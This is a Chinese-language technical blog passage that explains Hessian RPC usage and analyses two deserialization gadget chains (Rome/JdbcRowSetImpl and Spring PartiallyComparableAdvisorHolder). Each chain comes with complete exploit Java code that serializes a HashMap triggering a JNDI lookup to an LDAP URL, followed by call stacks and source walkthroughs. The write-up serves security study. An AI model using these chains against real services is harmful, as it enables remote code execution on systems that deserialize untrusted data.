超详细解析Hessian利用链
Dili 发表于 江西 技术文章 4209浏览 · 2024-02-05 13:05

超详细解析Hessian利用链

简介

Hessian 是一种基于二进制的轻量级网络传输协议,用于在不同的应用程序之间进行远程过程调用(RPC)。它是由 Caucho Technology 开发的,并在 Java 社区中得到广泛应用。

Hessian 的设计目标是提供一种高效、简单和可移植的远程调用协议。相比于其他文本协议如 XML-RPC 或 SOAP,Hessian 使用二进制格式进行数据序列化和网络传输,可以实现更高的性能和较小的网络传输开销。这也使得 Hessian 在低带宽或高延迟的网络环境下表现出色。

以下是 Hessian 的一些主要特点:

  1. 轻量级:Hessian 的二进制格式相对较小,占用较少的网络带宽和存储空间,适合于网络传输和数据存储。
  2. 跨语言支持:Hessian 不限于特定的编程语言,它提供了多种语言的实现,包括 Java、C#、Python、Ruby 等,因此可以在不同语言之间进行跨平台和跨语言的远程调用。
  3. 简单易用:Hessian 提供了简单的 API,使得开发者可以轻松地进行远程调用。开发者只需定义接口和数据类型,然后通过网络进行远程调用,无需手动处理数据序列化和网络传输细节。
  4. 高效性能:Hessian 使用二进制格式进行数据序列化和网络传输,相对于文本协议,它具有更高的序列化和反序列化速度,并且在网络传输过程中消耗较少的带宽和资源。
  5. 支持各种数据类型:Hessian 支持多种数据类型的序列化和传输,包括基本类型、对象、数组、集合、映射等。
  6. 安全性:Hessian 支持基于 SSL/TLS 的加密和身份验证,可以确保远程调用的安全性和数据的机密性。

在使用 Hessian 进行远程调用时,通常需要在服务端和客户端分别引入相应的 Hessian 库,并且定义接口和数据类型。然后,通过 Hessian 提供的 API 进行远程调用,将请求和响应数据进行序列化和反序列化,并通过网络进行传输。服务端接收到请求后,根据接口定义执行相应的操作,并返回结果给客户端。

总体而言,Hessian 是一种高效、简单和可移植的远程调用协议,适用于构建分布式系统和跨语言应用程序之间的通信。它在许多领域和场景中得到了广泛的应用,例如微服务架构、Web 服务、移动应用程序等。

简单使用

Servlet

方法一
创建一个Hessian服务分为以下四步:
第一:创建Java接口作为公共应用程序接口

package org.example;

// API for Basic service
public interface Basic {
    public String SayHello();
}

第二: 创建服务实现类

package org.example;

import com.caucho.hessian.server.HessianServlet;

public class BasicService extends HessianServlet implements Basic {
    public String greeting = "Hello, hessian.";

    public String SayHello() {
        return greeting;
    }
}

第三:在servlet引擎中配置服务(web.xml)

<servlet>
    <servlet-name>hello</servlet-name>
    <servlet-class>org.example.BasicService</servlet-class>
  </servlet>

  <servlet-mapping>
    <servlet-name>hello</servlet-name>
    <url-pattern>/hello</url-pattern>
  </servlet-mapping>

第三:使用HessianProxyFactory创建客户端

package org.example;

import com.caucho.hessian.client.HessianProxyFactory;

public class BasicClient {
    public static void main(String[] args) throws Exception {
        String url = "http://localhost:8090/hessian_servlet_war_exploded/hello";

        HessianProxyFactory hessianProxyFactory = new HessianProxyFactory();
        Basic basic = (Basic) hessianProxyFactory.create(Basic.class, url);

        System.out.println(basic.SayHello());
    }
}

客户端成功向服务端发送请求并接收到响应。
参考:http://hessian.caucho.com/#IntroductiontoHessian

方法二
服务类可以不继承HessianServlet,直接通过配置文件来设置
第一:服务类改成

package org.example;

public class BasicService implements Basic {
    public String greeting = "Hello, hessian.";

    public String SayHello() {
        return greeting;
    }
}

第二:配置文件改成

<servlet>
    <servlet-name>hello</servlet-name>
    <servlet-class>com.caucho.hessian.server.HessianServlet</servlet-class>
    <init-param>
        <param-name>home-class</param-name>
        <param-value>org.example.BasicService</param-value>
    </init-param>
    <init-param>
        <param-name>home-api</param-name>
        <param-value>org.example.Basic</param-value>
    </init-param>
</servlet>
<servlet-mapping>
    <servlet-name>hello</servlet-name>
    <url-pattern>/hello</url-pattern>
</servlet-mapping>

客户端同样能够成功向服务端发送请求并接收到响应
参考:http://hessian.caucho.com/doc/hessian-overview.xtp

Spring

1.创建服务接口

public interface MyService {
    String sayHello();
}

2.实现服务接口,实现具体的业务逻辑

public class MyServiceImpl implements MyService {
    @Override
    public String sayHello() {
        return "Hello, Hessian!";
    }
}

3.配置 Hessian 服务端:在 Spring 配置文件中配置 Hessian 服务端,将服务接口暴露为 Hessian 服务

<bean name="/myService" class="org.springframework.remoting.caucho.HessianServiceExporter">
    <property name="service" ref="myService"/>
    <property name="serviceInterface" value="com.example.MyService"/>
</bean>

<bean id="myService" class="com.example.MyServiceImpl"/>

在上述配置中,org.springframework.remoting.caucho.HessianServiceExporter 是 Spring 提供的 Hessian 服务端导出器,用于将服务接口暴露为 Hessian 服务。name 属性指定了 Hessian 服务的 URL 路径,service 属性引用了实际的服务实现类,serviceInterface 属性指定了服务接口。

4.配置 Hessian 客户端:如果需要从客户端调用远程 Hessian 服务,可以配置 Hessian 客户端。在 Spring 配置文件中添加以下配置

<bean id="myServiceProxy" class="org.springframework.remoting.caucho.HessianProxyFactoryBean">
    <property name="serviceUrl" value="http://localhost:8080/myService"/>
    <property name="serviceInterface" value="com.example.MyService"/>
</bean>

在上述配置中,org.springframework.remoting.caucho.HessianProxyFactoryBean 是 Spring 提供的 Hessian 客户端代理工厂,用于创建远程服务的代理对象。serviceUrl 属性指定了远程 Hessian 服务的 URL,serviceInterface 属性指定了服务接口

5.使用服务

@Autowired
private MyService myServiceProxy;

public void doSomething() {
    String result = myServiceProxy.sayHello();
    System.out.println(result);
}

在上述代码中,通过注入 MyService 接口的代理对象 myServiceProxy,可以直接调用远程服务的方法。

序列化与反序列化

Hessian2序列化和反序列化过程中的关键类:

  1. com.caucho.hessian.io.Hessian2Outputcom.caucho.hessian.io.Hessian2Input:这两个类分别用于将对象序列化为 Hessian2 格式的二进制数据(输出)和将二进制数据反序列化为对象(输入)。它们是 Hessian2 序列化和反序列化的核心类。
  2. com.caucho.hessian.io.SerializerFactory:与 Hessian1 类似,SerializerFactory 也是 Hessian2 的序列化工厂。它负责管理和创建序列化器(Serializer)。不同于 Hessian1,Hessian2 的序列化器实现更加灵活,可以通过配置文件或自定义方式进行扩展和定制。
  3. com.caucho.hessian.io.Serializer:这是一个抽象类,定义了 Hessian2 序列化和反序列化的方法。具体的对象类型都有对应的实现类,如 com.caucho.hessian.io.StringValueSerializer 用于序列化和反序列化字符串类型的对象。
  4. com.caucho.hessian.io.AbstractHessianOutputcom.caucho.hessian.io.AbstractHessianInput:这两个抽象类是 Hessian2OutputHessian2Input 的基类,提供了一些公共的方法和功能,如处理引用、处理异常等。
  5. com.caucho.hessian.io.HessianProtocolException:这个异常类用于表示在 Hessian2 协议中发生的错误。在反序列化过程中,如果遇到无法解析的数据或格式不正确的数据,就会抛出该异常。
  6. com.caucho.hessian.io.JavaSerializer:这个类用于序列化和反序列化 Java 对象。它是 Hessian2 默认的 Java 对象序列化器。

准备类:该类继承了Serializable接口

package org.example;

import java.io.Serializable;

public class Student implements Serializable {
    public String name;
    public int age;

    public Student(String name, int age) {
        this.name = name;
        this.age = age;
    }

    @Override
    public String toString() {
        return "Student{" +
                "name='" + name + '\'' +
                ", age=" + age +
                '}';
    }
}

序列化:使用Hessian2Output的writeObject方法将对象序列化为二进制数据

package org.example;


import com.caucho.hessian.io.Hessian2Output;

import java.io.ByteArrayOutputStream;
import java.io.IOException;

public class SerializeTest {
    public static void main(String[] args) throws IOException {
        Student stu = new Student("aaa", 18);
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream);
        hessian2Output.writeObject(stu);
        hessian2Output.close();
        System.out.print(byteArrayOutputStream.toString());
    }
}

反序列化:使用Hessian2Input的readObject方法将二进制数据反序列化为对象

package org.example;

import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;

public class UnSerializeTest {
    public static void main(String[] args) throws IOException {
        // 先序列化
        Student student = new Student("lucy", 23);
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream);
        hessian2Output.writeObject(student);
        hessian2Output.close();

        // 反序列化
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
        Hessian2Input hessian2Input = new Hessian2Input(byteArrayInputStream);
        Object student1 = hessian2Input.readObject();
        System.out.println(student1.toString());
    }
}

利用链

Rome利用链

利用链

JdbcRowSetImpl.getDatabaseMetaData()
ToStringBean.toString() (com.sun.syndication.feed.impl)
EqualsBean.beanHashCode() (com.sun.syndication.feed.impl)
ObjectBean.hashCode()
HashMap.hash()
HashMap.put()
MapDeserializer.readMap()
SerializerFactory.readMap()
Hessian2Input.readObject()

EXP

package org.dili.hessian;

import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.sun.rowset.JdbcRowSetImpl;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.util.HashMap;

public class RomeHessian {
    public static void main(String[] args) throws Exception{
        // ldap url
        String url = "ldap://127.0.0.1:1389/czhupn";

        // 创建JdbcRowSetImpl对象
        JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
        jdbcRowSet.setDataSourceName(url);

        // 创建toStringBean对象
        ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class, jdbcRowSet);

        // 创建ObjectBean
        ObjectBean objectBean = new ObjectBean(ToStringBean.class, toStringBean);

        // 创建HashMap
        HashMap<Object, Object> hashMap = new HashMap<>();
        hashMap.put(objectBean, "aaaa");

        // 序列化
        FileOutputStream fileOutputStream = new FileOutputStream("JavaSec/out/RomeHessian.bin");
        Hessian2Output hessian2Output = new Hessian2Output(fileOutputStream);
        hessian2Output.writeObject(hashMap);
        hessian2Output.close();

        // 反序列化
        FileInputStream fileInputStream = new FileInputStream("JavaSec/out/RomeHessian.bin");
        Hessian2Input hessian2Input = new Hessian2Input(fileInputStream);
        HashMap o = (HashMap) hessian2Input.readObject();

    }
}

函数调用栈

lookup:417, InitialContext (javax.naming)
connect:624, JdbcRowSetImpl (com.sun.rowset)
getDatabaseMetaData:4004, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
toString:137, ToStringBean (com.sun.syndication.feed.impl)
toString:116, ToStringBean (com.sun.syndication.feed.impl)
beanHashCode:193, EqualsBean (com.sun.syndication.feed.impl)
hashCode:110, ObjectBean (com.sun.syndication.feed.impl)
hash:338, HashMap (java.util)
put:611, HashMap (java.util)
readMap:114, MapDeserializer (com.caucho.hessian.io)
readMap:538, SerializerFactory (com.caucho.hessian.io)
readObject:2110, Hessian2Input (com.caucho.hessian.io)
main:40, RomeHessian (org.dili.hessian)

详细分析

:调试时只需要保持反序列化部分即可

从Hessian2Input的readObject方法开始,先解释该方法

Hessian2Input类的readObject()方法是Hessian协议中用于反序列化二进制数据的核心方法。它的作用是将二进制数据流转换为对应的Java对象。

详细过程:

  1. 读取类型标识符:readObject()方法首先从输入流中读取类型标识符。该标识符用于确定接下来要反序列化的对象的类型。
  2. 创建对象:根据类型标识符,Hessian2Input会创建对应的Java对象。它使用Java的反射机制,在运行时动态地创建对象实例。
  3. 读取对象字段:一旦对象被创建,Hessian2Input会读取对象的字段信息,包括字段名和字段值。它会递归地读取对象的所有字段,直到读取完所有字段或遇到引用(reference)。
  4. 处理引用:在读取字段过程中,如果遇到引用(reference),Hessian2Input会返回之前已经读取过的对象,而不是重新创建新的对象。这样可以确保对象的引用关系在反序列化后得到正确的恢复。
  5. 返回对象:当所有字段都被读取完毕,Hessian2Input会返回反序列化后的Java对象。

进入该方法

public Object readObject() throws IOException
{
    // 如果当前已经读取的数据长度_offset小于数据总长度_length,则从内部缓冲区_buffer中获取一个字节,否则调用read()方法从输入流中读取一个字节
    int tag = _offset < _length ? (_buffer[_offset++] & 0xff) : read();

    switch (tag) {
    // 空对象
    case 'N':
      return null;
    // 布尔True
    case 'T':
      return Boolean.valueOf(true);
    // 布尔False
    case 'F':
      return Boolean.valueOf(false);
    // .....
    // Map对象
    case 'H':
      {
        return findSerializerFactory().readMap(this, null);
      }
    // .....
    default:
      if (tag < 0)
        throw new EOFException("readObject: unexpected end of file");
      else
        throw error("readObject: unknown code " + codeName(tag));
    }
}

执行第一条语句

tag为72,对应字符H,进入case 'H'

case 'H':
{
    return findSerializerFactory().readMap(this, null);
}

先进入findSerializerFactory方法,该方法用于查找适当的序列化工厂(SerializerFactory)对象

protected final SerializerFactory findSerializerFactory()
{
    SerializerFactory factory = _serializerFactory;

    if (factory == null) {
        // 创建一个默认的序列化工厂对象
        factory = SerializerFactory.createDefault();
        _defaultSerializerFactory = factory;
        _serializerFactory = factory;
    }

    return factory;
}

返回至case部分,由于findSerializerFactory()返回的是SerializerFactory对象,所以来到SerializerFactory类的readMap方法,它根据给定的类型字符串(type)获取相应的反序列化器,并使用该反序列化器来读取和解析输入流中的Map数据

public Object readMap(AbstractHessianInput in, String type)
    throws HessianProtocolException, IOException
{
    // 获取与给定类型对应的反序列化器(Deserializer)对象
    Deserializer deserializer = getDeserializer(type);

    // 表示已经存在适合解析该类型的反序列化器
    if (deserializer != null)
        return deserializer.readMap(in);
    // 表示已经存在用于解析HashMap类型的反序列化器
    else if (_hashMapDeserializer != null)
        return _hashMapDeserializer.readMap(in);
    // 表示还没有适合解析HashMap类型的反序列化器。在这种情况下,创建一个新的MapDeserializer对象,并指定其类型为HashMap.class
    else {
        _hashMapDeserializer = new MapDeserializer(HashMap.class);

        // 读取和解析输入流中的Map数据
        return _hashMapDeserializer.readMap(in);
    }
}

由于是第一次解析该类型,所以会进入else中实例化一个MapDeserializer对象,该对象用于读取数据,进入MapDeserializer的readMap方法,该方法用于读取和解析Hessian协议中的Map类型数据,并根据指定的类型创建相应的Map对象。然后,循环读取键值对,并将其添加到Map对象中,最后返回解析后的Map对象。

public Object readMap(AbstractHessianInput in) throws IOException
{
    Map map;
    // 根据type创建map
    if (_type == null)
        map = new HashMap();
    else if (_type.equals(Map.class))
        map = new HashMap();
    else if (_type.equals(SortedMap.class))
        map = new TreeMap();
    else {
        try {
            map = (Map) _ctor.newInstance();
        } catch (Exception e) {
            throw new IOExceptionWrapper(e);
        }
    }

    // 将map对象添加到引用列表中,用于处理循环引用
    in.addRef(map);

    // 通过调用in.readObject()方法读取键和值,并使用map.put(key, value)方法将键值对添加到map中
    while (! in.isEnd()) {
        // 关键点
        map.put(in.readObject(), in.readObject());
    }

    in.readEnd();

    return map;
}

根据上一步得到的_type和_ctor可以得到这里进入else,并实例化hashmap对象,来到while循环中

进入第一个in.readObject

又来到Hessian2Input的readObject方法

67对应字符'C',即对象引用

case 'C':
{
    readObjectDefinition(null);
    return readObject();
}

继续进入readObject方法

进入

case 0x60: case 0x61: case 0x62: case 0x63:
case 0x64: case 0x65: case 0x66: case 0x67:
case 0x68: case 0x69: case 0x6a: case 0x6b:
case 0x6c: case 0x6d: case 0x6e: case 0x6f:
{
    int ref = tag - 0x60;

    if (_classDefs.size() <= ref)
        throw error("No classes defined at reference '"
                    + Integer.toHexString(tag) + "'");

    ObjectDefinition def = _classDefs.get(ref);

    return readObjectInstance(null, def);
}

该代码片段表示当遇到特定范围的标记时,首先计算引用的索引值,然后根据索引值从类定义表中获取对象定义信息,最后读取和解析一个对象实例,并返回解析后的对象。

执行完这里后就向上返回到了MapDeserializer的readMap方法,这里第一个readObject得到的应该是EXP中的构造的hashMap的键ObjectBean对象

进入第二个in.readObject

进入下面case

case 0x00: case 0x01: case 0x02: case 0x03:
case 0x04: case 0x05: case 0x06: case 0x07:
case 0x08: case 0x09: case 0x0a: case 0x0b:
case 0x0c: case 0x0d: case 0x0e: case 0x0f:

case 0x10: case 0x11: case 0x12: case 0x13:
case 0x14: case 0x15: case 0x16: case 0x17:
case 0x18: case 0x19: case 0x1a: case 0x1b:
case 0x1c: case 0x1d: case 0x1e: case 0x1f:
{
    _isLastChunk = true;
    _chunkLength = tag - 0x00;

    int data;
    _sbuf.setLength(0);

    parseString(_sbuf);

    return _sbuf.toString();
}

很明显得到的是map的值aaaa,第二个readObject得到的是EXP中构造的hashMap中的值aaaa

map.put

回到MapDeserializer的readMap方法,进行map put操作

接下来就是Rome链和JdbcRowSetImpl链了,其实这里不仅仅可以是Rome和JdbcRowSetImpl,只要通过HashMap的hash方法触发的链都可以运用

Spring PartiallyComparableAdvisorHolder链

利用链

SimpleJndiBeanFactory.doGetType() (org.springframework.jndi.support)
SimpleJndiBeanFactory.getType() (org.springframework.jndi.support)
BeanFactoryAspectInstanceFactory.getOrder() (org.springframework.aop.aspectj.annotation)
AbstractAspectJAdvice.getOrder (org.springframework.aop.aspectj)
AspectJPointcutAdvisor.getOrder() (org.springframework.aop.aspectj)
AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder.toString() (org.springframework.aop.aspectj.autoproxy)
XString.equals() (com.sun.org.apache.xpath.internal.objects)
HotSwappableTargetSource.equals()    (org.springframework.aop.target) //可忽略
HashMap.putVal()
HashMap.put()
MapDeserializer.readMap()
SerializerFactory.readMap()
Hessian2Input.readObject()

EXP

package org.dili.hessian;

import com.caucho.hessian.io.*;
import com.sun.org.apache.xpath.internal.objects.XString;
import org.apache.commons.logging.impl.NoOpLog;
import org.springframework.aop.aspectj.AbstractAspectJAdvice;
import org.springframework.aop.aspectj.AspectInstanceFactory;
import org.springframework.aop.aspectj.AspectJAroundAdvice;
import org.springframework.aop.aspectj.AspectJPointcutAdvisor;
import org.springframework.aop.aspectj.annotation.BeanFactoryAspectInstanceFactory;
import org.springframework.aop.target.HotSwappableTargetSource;
import org.springframework.jndi.support.SimpleJndiBeanFactory;
import sun.reflect.ReflectionFactory;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.HashSet;

public class PartiallyComparableAdvisorHolderHessian {
    public static void main(String[] args) throws Exception {
        // ldap url
        String url = "ldap://127.0.0.1:1389/rtj7ss";

        // 创建SimpleJndiBeanFactory
        // String SimpleJndiBeanFactory = "org.springframework.jndi.support.SimpleJndiBeanFactory";
        // Object simpleJndiBeanFactory = Class.forName(SimpleJndiBeanFactory).getDeclaredConstructor(new Class[]{}).newInstance();
        SimpleJndiBeanFactory simpleJndiBeanFactory = new SimpleJndiBeanFactory();

        // 可添加
        // HashSet<String> set = new HashSet<>();
        // set.add(url);
        // setFiled(simpleJndiBeanFactory, "shareableResources", set);
        // setFiled(simpleJndiBeanFactory.getJndiTemplate(), "logger", new NoOpLog());

        // 创建BeanFactoryAspectInstanceFactory
        // 触发SimpleJndiBeanFactory的getType方法
        AspectInstanceFactory beanFactoryAspectInstanceFactory = createWithoutConstructor(BeanFactoryAspectInstanceFactory.class);
        setFiled(beanFactoryAspectInstanceFactory, "beanFactory", simpleJndiBeanFactory);
        setFiled(beanFactoryAspectInstanceFactory, "name", url);

        // 创建AspectJAroundAdvice
        // 触发BeanFactoryAspectInstanceFactory的getOrder方法
        AbstractAspectJAdvice aspectJAroundAdvice = createWithoutConstructor(AspectJAroundAdvice.class);
        setFiled(aspectJAroundAdvice, "aspectInstanceFactory", beanFactoryAspectInstanceFactory);

        // 创建AspectJPointcutAdvisor
        // 触发AspectJAroundAdvice的getOrder方法
        AspectJPointcutAdvisor aspectJPointcutAdvisor = createWithoutConstructor(AspectJPointcutAdvisor.class);
        setFiled(aspectJPointcutAdvisor, "advice", aspectJAroundAdvice);

        // 创建PartiallyComparableAdvisorHolder
        // 触发AspectJPointcutAdvisor的getOrder方法
        String PartiallyComparableAdvisorHolder = "org.springframework.aop.aspectj.autoproxy.AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder";
        Class<?> aClass = Class.forName(PartiallyComparableAdvisorHolder);
        Object partially = createWithoutConstructor(aClass);
        setFiled(partially, "advisor", aspectJPointcutAdvisor);

        // 可以不使用HotSwappableTargetSource
        // 创建HotSwappableTargetSource
        // 触发PartiallyComparableAdvisorHolder的toString方法
        HotSwappableTargetSource targetSource1 = new HotSwappableTargetSource(partially);
        HotSwappableTargetSource targetSource2 = new HotSwappableTargetSource(new XString("aaa"));

        // 创建HashMap
        HashMap hashMap = new HashMap();
        hashMap.put(targetSource1, "111");
        hashMap.put(targetSource2, "222");

        // 序列化
        FileOutputStream fileOutputStream = new FileOutputStream("JavaSec/out/PartiallyComparableAdvisorHolderHessian.bin");
        Hessian2Output hessian2Output = new Hessian2Output(fileOutputStream);
        SerializerFactory serializerFactory = new SerializerFactory();
        serializerFactory.setAllowNonSerializable(true);
        hessian2Output.setSerializerFactory(serializerFactory);
        hessian2Output.writeObject(hashMap);
        hessian2Output.close();

        // 反序列化
        FileInputStream fileInputStream = new FileInputStream("JavaSec/out/PartiallyComparableAdvisorHolderHessian.bin");
        Hessian2Input hessian2Input = new Hessian2Input(fileInputStream);
        HashMap o = (HashMap) hessian2Input.readObject();

    }

    public static void setFiled(Object o, String fieldname, Object value) throws Exception {
        Field field = getField(o.getClass(), fieldname);
        field.setAccessible(true);
        field.set(o, value);
    }

    public static <T> T createWithoutConstructor ( Class<T> classToInstantiate )
            throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
        return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
    }

    public static <T> T createWithConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes,
                                                Object[] consArgs ) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
        Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
        objCons.setAccessible(true);
        Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
        sc.setAccessible(true);
        return (T) sc.newInstance(consArgs);
    }

    public static Field getField ( final Class<?> clazz, final String fieldName ) throws Exception {
        try {
            Field field = clazz.getDeclaredField(fieldName);
            if ( field != null )
                field.setAccessible(true);
            else if ( clazz.getSuperclass() != null )
                field = getField(clazz.getSuperclass(), fieldName);

            return field;
        }
        catch ( NoSuchFieldException e ) {
            if ( !clazz.getSuperclass().equals(Object.class) ) {
                return getField(clazz.getSuperclass(), fieldName);
            }
            throw e;
        }
    }
}

函数调用栈

lookup:417, InitialContext (javax.naming)
doInContext:155, JndiTemplate$1 (org.springframework.jndi)
execute:87, JndiTemplate (org.springframework.jndi)
lookup:152, JndiTemplate (org.springframework.jndi)
lookup:179, JndiTemplate (org.springframework.jndi)
lookup:95, JndiLocatorSupport (org.springframework.jndi)
doGetType:228, SimpleJndiBeanFactory (org.springframework.jndi.support)
getType:184, SimpleJndiBeanFactory (org.springframework.jndi.support)
getOrder:136, BeanFactoryAspectInstanceFactory (org.springframework.aop.aspectj.annotation)
getOrder:223, AbstractAspectJAdvice (org.springframework.aop.aspectj)
getOrder:81, AspectJPointcutAdvisor (org.springframework.aop.aspectj)
toString:151, AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder (org.springframework.aop.aspectj.autoproxy)
equals:392, XString (com.sun.org.apache.xpath.internal.objects)
equals:104, HotSwappableTargetSource (org.springframework.aop.target)
putVal:634, HashMap (java.util)
put:611, HashMap (java.util)
readMap:114, MapDeserializer (com.caucho.hessian.io)
readMap:538, SerializerFactory (com.caucho.hessian.io)
readObject:2110, Hessian2Input (com.caucho.hessian.io)
main:79, PartiallyComparableAdvisorHolderHessian (org.dili.hessian)

详细分析

第一步

还是从Hessian2Input类的readObject方法开始,开始tag为72,Map对象,进入对应的case处理;根据findSerializerFactory()方法找到SerializerFactory类,调用其readMap方法

进入SerializerFactory的readMap方法

进入MapDeserializer的readMap方法,会来到while循环

while (! in.isEnd()) {
    map.put(in.readObject(), in.readObject());
}

执行完一轮后的结果,将第一个元素写入map中

接着第二轮put操作中

第二步

进入putVal方法,在HashMap中的putVal的方法中,会将put元素的键与map中已有元素的键进行对比,即equals操作

这里的key为exp中第二次put的键,k为exp中第一次put的键

第三步

进入HotSwappableTargetSource的equals方法中

public boolean equals(Object other) {
    return this == other || other instanceof HotSwappableTargetSource && this.target.equals(((HotSwappableTargetSource)other).target);
}

调用target参数中的equals方法,这就是在exp中设置target属性的原因

第四步

调用者为XString对象,调用其equals方法,这样设置的目的在于该equals方法中,调用toString方法

这样就将链的执行流交给了map中put的第一个元素里面的嵌套对象,即AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder

第五步

进入该静态类的toString方法

// 这段代码的作用是生成一个包含类的名称、顺序信息和切面名称的字符串表示形式,用于描述该对象的信息
public String toString() {
    StringBuilder sb = new StringBuilder();
    Advice advice = this.advisor.getAdvice();
    sb.append(ClassUtils.getShortName(advice.getClass()));
    sb.append(": ");
    if (this.advisor instanceof Ordered) {
        // 关键在这
        sb.append("order ").append(((Ordered)this.advisor).getOrder()).append(", ");
    }

    if (advice instanceof AbstractAspectJAdvice) {
        AbstractAspectJAdvice ajAdvice = (AbstractAspectJAdvice)advice;
        sb.append(ajAdvice.getAspectName());
        sb.append(", declaration order ");
        sb.append(ajAdvice.getDeclarationOrder());
    }

    return sb.toString();
}

这里利用的就是getOrder方法,因此需要设置advisor属性的值,根据链构造,要将其设置为AspectJPointcutAdvisor对象

注:这里选择的对象既要有getOrder方法维持后续的链,也要是Ordered接口的实例,正好AspectJPointcutAdvisor是Ordered接口的子类

第六步

进入AspectJPointcutAdvisor对象的getOrder方法

@Override
public int getOrder() {
    if (this.order != null) {
        return this.order;
    }
    else {
        // 这里
        return this.advice.getOrder();
    }
}

还是利用getOrder方法,这里需要设置advice属性,根据链构造,需要将其设置成AspectJAroundAdvice对象,同时需要满足order属性为空

第七步

进入AspectJAroundAdvice对象的getOrder方法

@Override
public int getOrder() {
    return this.aspectInstanceFactory.getOrder();
}

接着利用getOrder方法,需要设置aspectInstanceFactory属性,这里将其设置为BeanFactoryAspectInstanceFactory对象

第八步

进入该对象的getOrder方法

@Override
public int getOrder() {
    // 关键点
    Class<?> type = this.beanFactory.getType(this.name);
    if (type != null) {
        if (Ordered.class.isAssignableFrom(type) && this.beanFactory.isSingleton(this.name)) {
            return ((Ordered) this.beanFactory.getBean(this.name)).getOrder();
        }
        return OrderUtils.getOrder(type, Ordered.LOWEST_PRECEDENCE);
    }
    return Ordered.LOWEST_PRECEDENCE;
}

这里需要利用的是getType方法,但是需要设置beanFactory和name两个属性,根据后面链利用,将beanFactory设置为SimpleJndiBeanFactory对象,name设置为ldap url

第九步

进入SimpleJndiBeanFactory的getType方法

public Class<?> getType(String name) throws NoSuchBeanDefinitionException {
    try {
        // 这里
        return this.doGetType(name);
    } catch (NameNotFoundException var3) {
        throw new NoSuchBeanDefinitionException(name, "not found in JNDI environment");
    } catch (NamingException var4) {
        return null;
    }
}

没有条件限制,查看其doGetType方法

private Class<?> doGetType(String name) throws NamingException {
    if (this.isSingleton(name)) {
        Object jndiObject = this.doGetSingleton(name, (Class)null);
        return jndiObject != null ? jndiObject.getClass() : null;
    } else {
        synchronized(this.resourceTypes) {
            if (this.resourceTypes.containsKey(name)) {
                return (Class)this.resourceTypes.get(name);
            } else {
                // 利用点
                Object jndiObject = this.lookup(name, (Class)null);
                Class<?> type = jndiObject != null ? jndiObject.getClass() : null;
                this.resourceTypes.put(name, type);
                return type;
            }
        }
    }
}

要到达利用点,需要满足两个条件:

  • this.isSingleton(name)为false

    public boolean isSingleton(String name) throws NoSuchBeanDefinitionException {
        return this.shareableResources.contains(name);
    }
    

    shareableResources属性中不包含ldap url

  • this.resourceTypes.containsKey(name)为false,而resourceTypes属性中也不包含ldap url

来到父类JndiLocatorSupport的lookup方法,关键代码如下:

jndiObject = this.getJndiTemplate().lookup(convertedName, requiredType);

先观察getJndiTemplate方法,需要进入到JndiLocatorSupport的父类JndiAccessor类

public JndiTemplate getJndiTemplate() {
    return this.jndiTemplate;
}

在构造方法中会将其初始化为JndiTemplate对象,回到JndiLocatorSupport的lookup方法,getJndiTemplate返回的是一个JndiTemplate对象,调用其lookup方法

public <T> T lookup(String name, Class<T> requiredType) throws NamingException {
    Object jndiObject = this.lookup(name);
    if (requiredType != null && !requiredType.isInstance(jndiObject)) {
        throw new TypeMismatchNamingException(name, requiredType, jndiObject != null ? jndiObject.getClass() : null);
    } else {
        return jndiObject;
    }
}

进入重载方法

public Object lookup(final String name) throws NamingException {
    if (this.logger.isDebugEnabled()) {
        this.logger.debug("Looking up JNDI object with name [" + name + "]");
    }

    // 关键在这里
    return this.execute(new JndiCallback<Object>() {
        public Object doInContext(Context ctx) throws NamingException {
            // 关键点
            Object located = ctx.lookup(name);
            if (located == null) {
                throw new NameNotFoundException("JNDI object with [" + name + "] not found: JNDI implementation returned null");
            } else {
                return located;
            }
        }
    });
}

这段代码的作用是在JNDI中查找指定名称的对象。它通过执行一个JndiCallback对象的doInContext()方法,在JNDI上下文中调用lookup()方法查找对象,并根据查找结果进行处理。如果找到对象,就返回该对象;如果找不到对象,就抛出异常。

接下来就是LDAP lookup解析的过程

其他

  • 其实完全可以将HotSwappableTargetSource去掉,毕竟XString中equals方法,不需要使用它来过度

  • 在SimpleJndiBeanFactory的doGetType方法中,如果this.isSingleton(name)条件满足,会调用doGetSingleton方法,该方法中也有利用点

    private <T> T doGetSingleton(String name, Class<T> requiredType) throws NamingException {
        synchronized(this.singletonObjects) {
            Object jndiObject;
            if (this.singletonObjects.containsKey(name)) {
                jndiObject = this.singletonObjects.get(name);
                if (requiredType != null && !requiredType.isInstance(jndiObject)) {
